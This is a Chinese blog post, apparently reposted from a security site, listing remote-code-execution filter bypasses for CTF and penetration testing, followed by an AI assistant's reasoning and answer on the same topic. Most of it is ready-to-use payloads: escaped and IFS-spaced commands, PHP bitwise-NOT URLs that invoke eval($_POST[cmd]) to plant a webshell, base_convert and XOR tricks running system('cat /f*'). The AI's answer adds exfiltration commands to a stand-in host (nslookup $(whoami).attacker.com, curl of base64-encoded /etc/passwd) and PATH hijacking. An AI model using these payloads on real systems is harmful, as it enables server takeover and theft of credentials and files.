RCE常见的Bypass思路

零基础学黑客,搜索公众号:白帽子左一

在渗透或者CTF中,总会有特殊函数被过滤,如’ls、cat、tac’。

防火墙将这些函数加入黑名单,我们需要找一些方法来代替,用fuzz给他们替换,就出现了BYpass思路。

这里总结了RCE常见的Bypass思路。

学习就是先走一回别人的老路,知识点到量才可以开创自己的新路。

一、RCE漏洞

远程代码执行漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。

原理:服务器没有对执行命令的函数进行过滤,导致命令被执行。

二、常见的命令执行函数

PHP代码执行函数

eval()
assert()
preg_replace()
create_function()
call_user_func()
file_get_contents():将整个文件读入一个字符串
readfile():读取文件并写入到输出缓冲
scandir():列出指定路径中的文件和目录
direname():给出一个包含有指向一个文件的全路径的字符串,本函数返回去掉文件名后的目录名
getcwd():取得当前工作目录
chdir($directory):将 PHP 的当前目录改为 directory
get_defined_vars():获取一个环境变量的值
phpversion():获取当前的PHP版本
chr():返回指定的字符
rand():产生一个随机整数
time():返回当前的 Unix 时间戳
localtime():取得本地时间
localtime(time()) 返回一个数组,Array [0] 为一个 0~60 之间的数字
hex2bin():转换十六进制字符串为二进制字符串
ceil():进一法取整
sinh():双曲正弦
cosh():双曲余弦
tan():正切
floor():舍去法取整
sqrt():平方根
crypt():单向字符串散列hebrevc:将逻辑顺序希伯来文(logical-Hebrew)转换为视觉顺序希伯来文(visual-Hebrew),并且转换换行符
ord:返回字符串的第一个字符的 ASCII 码

命令执行函数

eval()system()shell_exec()popen()proc_popen()passthru()pcntl_exec()

三、绕过方式

过滤关键字,如cat、more
1.替换法
使用同意思字符串代替

more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
sort:可以查看

2.进行转义

cat flag ->ca\t fl\ag
cat  flag -> ca"t flag 
cat flag -> ca't flag

3.进行拼接

a=fl;b=ag;cat I F S IFS IFSa$b

4.空变量 ∗ 和 *和 @, x , x, x,{x}绕过

图片

5.反引号绕过

command
6.Base64编码绕过

图片

7.RE绕过

图片

过滤命令执行函数,如system
1.借助其他的函数

echo
system()
passthru()
exec()
shell_exec()
popen()
proc_open()
pcntl_exec()
highlight_file()
反引号 同shell_exec()

2.URL编码绕过

base64
hex
oct

图片

3.内敛绕过

echo `ls`;
echo $(ls);
?><?=`ls`;
?><?=$(ls);

过滤文件读取
绕过

curl file:///flag
strings flag
uniq -c flag
bash -v flag
rev flag

过滤空格

<> (cat<>flag)
%20(space)
%09(tab) (cat%09flag.php)
$IFS$9
${IFS}
$IFS
(cat,flag)

过滤目录分隔符

1.多管道命令绕过

127.0.0.1||cat%20flag.php

过滤分隔符

; //分号
| //执行右边命令
|| //执行前面命令
& //都执行

IP进制绕过
ip地址过滤可将IP地址转化为数字IP地址

IP地址用“点分十进制”表示,用“.”分成4部分;数字地址是一串用“十进制”表示的数字
比如:百度的IP地址“39.156.69.79”转换成数字地址就是“664552783”。在浏览器中输入664552783就可以访问百度网站
转化网址:http://www.msxindl.com/tools/ip/ip_num.asp

四、一些骚操作

RCE进行无数字字母绕过
图片

echo urlencode(~'phpinfo').'<br />'; //得到%8F%97%8F%96%91%99%90
echo urlencode(~'assert').'<br />'; //得到%9E%8C%8C%9A%8D%8B
//assert();
echo urlencode(~'(eval($_POST[cmd]))'); //得到%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%9C%92%9B%A2%D6%D6
?>

?code=(~%8F%97%8F%96%91%99%90)(); //列出phpinfo
?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%9C%92%9B%A2%D6%D6); //上传一句话马

disable_function绕过总结

常规绕过:exec,shell_exec,system,passthru,popen,proc_open
利用环境变量LD_PRELOAD绕过():mail,imap_mail,error_log,mb_send_mail
利用pcntl_exec绕过利用imap_open函数任意命令执行(CVE-2018-19518)
利用系统组件window com绕过利用Apache+mod_cgi+.htaccess绕过
利用ImageMagick漏洞绕过利用PHP7.4的FFI绕过
利用 ShellShock绕过(CVE-2014-6271)
蚁剑插件

'数学’RCE
1.利用数学函数来运算得到函数名和命令,使用动态函数来执行命令

index.php?c=base_convert('37907361743',10,36)dechex('1598506324');($$pi){pi}(($$pi){abs})&pi=system&abs=<command>

hex2bin(_GET)  -> base_convert('37907361743',10,36)dechex('1598506324'); dechex("1598506324")->5f474554
($$pi){pi}(($$pi){abs})&pi=system&abs=<command> -> ($_GET){pi}($_GET){abs}  //{}可以代替[]

2.拼凑出getallheaders利用HeaderRCE
getallheaders — 获取全部 HTTP 请求头信息

/index.php?c=$pi=base_convert,$pi(696468,10,36)($pi(8768397090111664438,10,30)(){1})

在HTTP请求的Header中直接添加命令即可

base_convert(696468,10,36) => "exec"
$pi(8768397090111664438,10,30) => "getallheaders"
exec(getallheaders(){1})
//操作xx和yy,中间用逗号隔开,echo都能输出
echo xx,yy

3.拼凑出exec、system等命令执行函数直接RCE

/index.php?c=($pi=base_convert)(22950,23,34)($pi(76478043844,9,34)(dechex(109270211257898)))
//分析:exec('hex2bin(dechex(109270211257898))') => exec('cat f*')

/index.php?c=base_convert(1751504350,10,36)(base_convert(15941,10,36).(dechex(16)^asinh^pi))
//分析:system('cat'.dechex(16)^asinh^pi) => system('cat *')

4.异或

<?php
$payload = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh',  'bindec', 'ceil', 'cos', 'cosh', 'decbin' , 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
for($k=1;$k<=sizeof($payload);$k++){
	for($i = 0;$i < 9; $i++){
    	for($j = 0;$j <=9;$j++){
       	 $exp = $payload[$k] ^ $i.$j;
       	 echo($payload[$k]."^$i$j"."==>$exp");
       	 echo "<br />";
}
}
}

图片

/index.php?c=$pi=(is_nan^(6).(4)).(rand^(7).(5));$pi=$$pi;$pi{0}($pi{1})&0=system&1=cat /f*

参考

https://cloud.tencent.com/developer/article/1599149
https://xz.aliyun.com/t/8354
https://blog.youkuaiyun.com/xiaofengdada/article/details/122614693

原文地址:https://www.freebuf.com/articles/web/330736.html

在这里插入图片描述
在这里插入图片描述

<think>嗯,用户想了解RCE绕过技术和方法。首先,我需要明确RCE是什么,RCE即远程代码执行,攻击者通过漏洞在远程服务器上执行任意命令。绕过技术通常是为了规避安全防护措施,比如WAF、输入过滤等。 首先,我应该回顾常见RCE绕过方法。比如命令注入中的特殊字符绕过,比如使用分号、管道符、反引号等。另外,编码绕过,比如URL编码、Base64编码,或者十六进制编码,这样可以混淆恶意代码,避免被检测到。 然后是环境变量篡改,比如通过修改PATH变量来执行恶意程序。还有通配符利用,比如在Linux中使用*来匹配文件名,执行特定命令。空格绕过也是常见的方法,比如使用${IFS}代替空格,或者在Windows中使用^转义空格。 接着,我需要考虑上下文相关的绕过。比如在PHP中,使用动态函数调用,如$_GET['a']($_GET['b']),通过参数传递函数和参数。或者在Java中利用反射机制执行代码,绕过静态检测。 还有框架或语言特性滥用,比如Spring的SpEL表达式注入,或者JavaScript的eval函数执行构造的字符串。这些特定框架的特性可能被滥用来执行代码。 然后是高级技术,比如无回显RCE,通过DNS查询或HTTP请求外带数据,判断命令是否执行。或者利用时序攻击,通过命令执行的时间延迟来推断结果。 工具方面,可以提到一些自动化测试工具,比如Burp Suite的Intruder模块,或者sqlmap的os-shell功能。这些工具能帮助测试RCE漏洞是否存在,以及尝试不同的绕过方法。 另外,需要提到防御措施,比如输入验证、使用白名单机制、最小权限原则、禁用危险函数等。这样用户不仅了解攻击方法,也能知道如何防护。 在引用部分,用户提供的参考链接是关于ACL滥用的工具,可能和RCE关系不大,但如果有相关技术可以结合,可能需要提到。不过可能这个引用不太相关,所以可能不需要特别引用,除非有直接关联。 最后,生成相关问题时要围绕RCE绕过的技术细节、防御方法、实际案例和工具展开,帮助用户深入理解。 现在需要确保回答结构清晰,分点说明,并且每个技术点有具体例子,比如命令注入中的特殊字符,用$符号包裹的LaTeX示例。同时,避免使用Markdown格式,但用户允许在数学表达式和代码块中使用。代码块需要用三个反引号包裹,并标明语言。 检查是否有遗漏的重要技术,比如Obfuscation(混淆)技术,或者利用特定语言特性如PHP的变量函数。此外,是否有最新的绕过方法,比如利用Unicode标准化绕过过滤,或者使用冷门的环境变量。 最后确保语言口语化,符合中文表达习惯,避免术语使用不当。可能需要调整部分技术点的顺序,使逻辑更连贯,比如从简单到复杂,从通用到特定环境。</think>### RCE绕过技术及方法总结 RCE(Remote Code Execution)绕过技术主要用于规避安全防护机制,实现恶意代码执行。以下是常见方法分类及示例: --- #### 一、基础命令注入绕过 1. **特殊字符绕过** - 使用分号`;`、管道符`|`、反引号`` ` ``等分隔命令: ```bash ping 127.0.0.1; cat /etc/passwd # 分号分隔命令 ``` - 利用逻辑运算符:`&&`(成功执行后)、`||`(失败后执行)[^1]。 2. **编码绕过** - **URL编码**:`cat%20/etc/passwd`(`%20`表示空格)。 - **Base64编码**: ```bash echo 'Y2F0IC9ldGMvcGFzc3dk' | base64 -d | bash # 解码后执行`cat /etc/passwd` ``` - **十六进制编码**:`$(printf "\x63\x61\x74\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64")`。 3. **空格绕过** - 使用`${IFS}`(Linux)或`%09`(Tab的URL编码): ```bash cat${IFS}/etc/passwd ``` --- #### 二、上下文相关绕过 1. **语言特性滥用** - **PHP动态函数调用**: ```php $_GET['func']($_GET['arg']); # 通过参数传递函数名和参数 ``` - **Java反射**: ```java Runtime.getRuntime().exec("calc"); ``` 2. **框架特性利用** - **Spring SpEL注入**: ```java T(java.lang.Runtime).getRuntime().exec("calc") ``` - **JavaScript原型链污染**:污染对象属性触发代码执行。 --- #### 三、高级绕过技术 1. **无回显RCE(Blind RCE)** - 通过DNS查询外带数据: ```bash nslookup $(whoami).attacker.com # 将结果通过子域名发送给攻击者 ``` - 利用HTTP请求:`curl http://attacker.com/$(cat /etc/passwd | base64)`。 2. **时序攻击** - 通过命令执行延迟判断结果: ```bash sleep $(grep -c password /etc/passwd) # 若存在`password`则延迟对应秒数 ``` 3. **环境变量篡改** - 覆盖`PATH`变量指向恶意程序: ```bash export PATH=/tmp:$PATH # 优先执行`/tmp`下的伪造命令 ``` --- #### 四、工具与自动化 1. **手工测试工具** - **Burp Suite Intruder**:用于模糊测试参数和载荷。 - **sqlmap `--os-shell`**:直接获取数据库服务器的命令执行权限。 2. **编码生成工具** - **CyberChef**:快速生成Base64、URL编码等格式。 --- #### 五、防御建议 1. **输入验证**:严格过滤用户输入,使用白名单机制。 2. **禁用危险函数**:如PHP的`eval`、`system`等。 3. **最小权限原则**:限制执行命令的权限。 4. **WAF规则**:针对常见RCE载荷设置拦截规则。 ---
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值